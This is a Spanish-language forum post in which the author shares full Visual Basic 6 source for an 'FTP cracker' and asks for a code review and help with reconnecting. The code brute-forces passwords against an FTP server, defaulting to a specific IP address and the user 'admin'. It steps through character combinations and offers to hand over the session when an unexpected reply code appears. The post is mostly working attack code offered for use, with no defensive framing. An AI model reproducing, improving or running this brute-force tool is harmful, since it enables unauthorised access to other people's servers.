Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.
Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET
les dejo aca el codigo que uso:
FORM:
Código
.
Public CT As Integer Public FAILED As String Public ACUSER As String Public USER As String Public CONTROL As Integer Private Sub Form_Load() CONTROL = vbNo Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122") Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21) FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530) ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331) USER = InputBox("USUARIO", "INSERTE", "admin") Call BORRAR_VECTOR Telnet.Connect End Sub Private Sub Form_Resize() If Me.Height > 701 Then inx.Width = Me.Width inx.Height = Me.Height - 700 outx.Width = Me.Width outx.Top = inx.Height End If End Sub Private Sub Form_Unload(Cancel As Integer) Telnet.Close End End Sub Private Sub telnet_DataArrival(ByVal bytesTotal As Long) Dim strData As String Telnet.GetData strData inx.Text = inx.Text & strData If CONTROL = vbNo Then Call ANALIZAR(Mid(strData, 1, 3)) End If If CT Mod 2 Then Call NUEVAPASS outx.Text = "pass " & PASS Call outx_KeyPress(vbKeyReturn) Else outx.Text = "user " & USER Call outx_KeyPress(vbKeyReturn) End If End Sub Private Sub outx_KeyPress(KeyAscii As Integer) If KeyAscii = vbKeyReturn Then Telnet.SendData outx.Text & vbCrLf outx.Text = "" outx.SetFocus End If End Sub Private Sub ANALIZAR(CODE As String) CT = CT + 1 If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo) End If End Sub
MODULO:
Código
Dim PASSNUM(17) As Integer Dim PASSLET(17) As String Public PASS As String Public Sub BORRAR_VECTOR() PASSNUM(1) = 47 For X = 2 To 16 PASSNUM(X) = 0 Next X End Sub Public Sub NUEVAPASS() PASSNUM(1) = PASSNUM(1) + 1 Call ORDENAR Call CONVERTIR Call CONCATENAR End Sub Private Sub ORDENAR() For X = 1 To 16 If PASSNUM(X) = 124 Then If PASSNUM(X + 1) = 0 Then PASSNUM(X + 1) = 47 End If PASSNUM(X + 1) = PASSNUM(X + 1) + 1 End If Next X If PASSNUM(17) = 1 Then MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR" End End If End Sub Private Sub CONVERTIR() For X = 1 To 16 If PASSNUM(X) <> 0 Then PASSLET(X) = Chr(PASSNUM(X)) End If Next X End Sub Private Sub CONCATENAR() PASS = "" For X = 1 To 16 PASS = PASS & PASSLET(X) Next X End Sub
Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.(VB6 obvio).
El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta y, aparte el servidor se dosconecta aleatoriamente entre el 3 y el 5 intento, y no avisa la desconeccion, entonces no puedo hacer una reconeccion.
P.D: Si ven que no tiene futuro lo que hago avisenme y denme una pequeña guia asi sigo gracias.
***************GRACIAS DE ANTEMANO***************